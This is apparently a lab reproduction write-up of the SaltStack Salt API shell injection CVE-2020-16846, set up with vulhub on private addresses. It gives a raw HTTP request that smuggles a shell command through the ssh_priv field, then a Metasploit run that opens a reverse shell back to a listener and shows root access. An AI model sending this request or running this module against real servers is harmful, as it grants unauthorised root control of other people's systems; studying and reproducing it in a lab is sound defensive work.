SaltStack Shell 注入 (CVE-2020-16846)漏洞复现

https://github.com/vulhub/vulhub/tree/master/saltstack/CVE-2020-16846

POST /run HTTP/1.1Host: 192.168.1.107:8000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0Accept: application/x-yamlAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 91
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/success%3b

use exploit/linux/http/saltstack_salt_api_cmd_execmsf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > set rhosts 192.168.1.107rhosts => 192.168.1.107msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > set rport 8000rport => 8000msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > set LhOST 192.168.1.117LhOST => 192.168.1.117msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > set LPORT 4444LPORT => 4444msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > show options 
Module options (exploit/linux/http/saltstack_salt_api_cmd_exec):   Name       Current Setting  Required  Description   ----       ---------------  --------  -----------   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]   RHOSTS     192.168.1.107    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'   RPORT      8000             yes       The target port (TCP)   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.   SRVPORT    8080             yes       The local port to listen on.   SSL        true             no        Negotiate SSL/TLS for outgoing connections   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)   TARGETURI  /                yes       Base path   URIPATH                     no        The URI to use for this exploit (default is random)   VHOST                       no        HTTP server virtual host

Payload options (cmd/unix/reverse_python_ssl):   Name   Current Setting  Required  Description   ----   ---------------  --------  -----------   LHOST  192.168.1.117    yes       The listen address (an interface may be specified)   LPORT  4444             yes       The listen port

Exploit target:   Id  Name   --  ----   0   Unix Command

msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > exploit 
[*] Started reverse SSL handler on 192.168.1.117:4444 [*] Executing automatic check (disable AutoCheck to override)[+] The target is vulnerable. Auth bypass successful.[*] Executing Unix Command for cmd/unix/reverse_python_ssl[*] Command shell session 2 opened (192.168.1.117:4444 -> 192.168.1.107:50332) at 2020-12-21 22:34:40 +0800
iduid=0(root) gid=0(root) groups=0(root)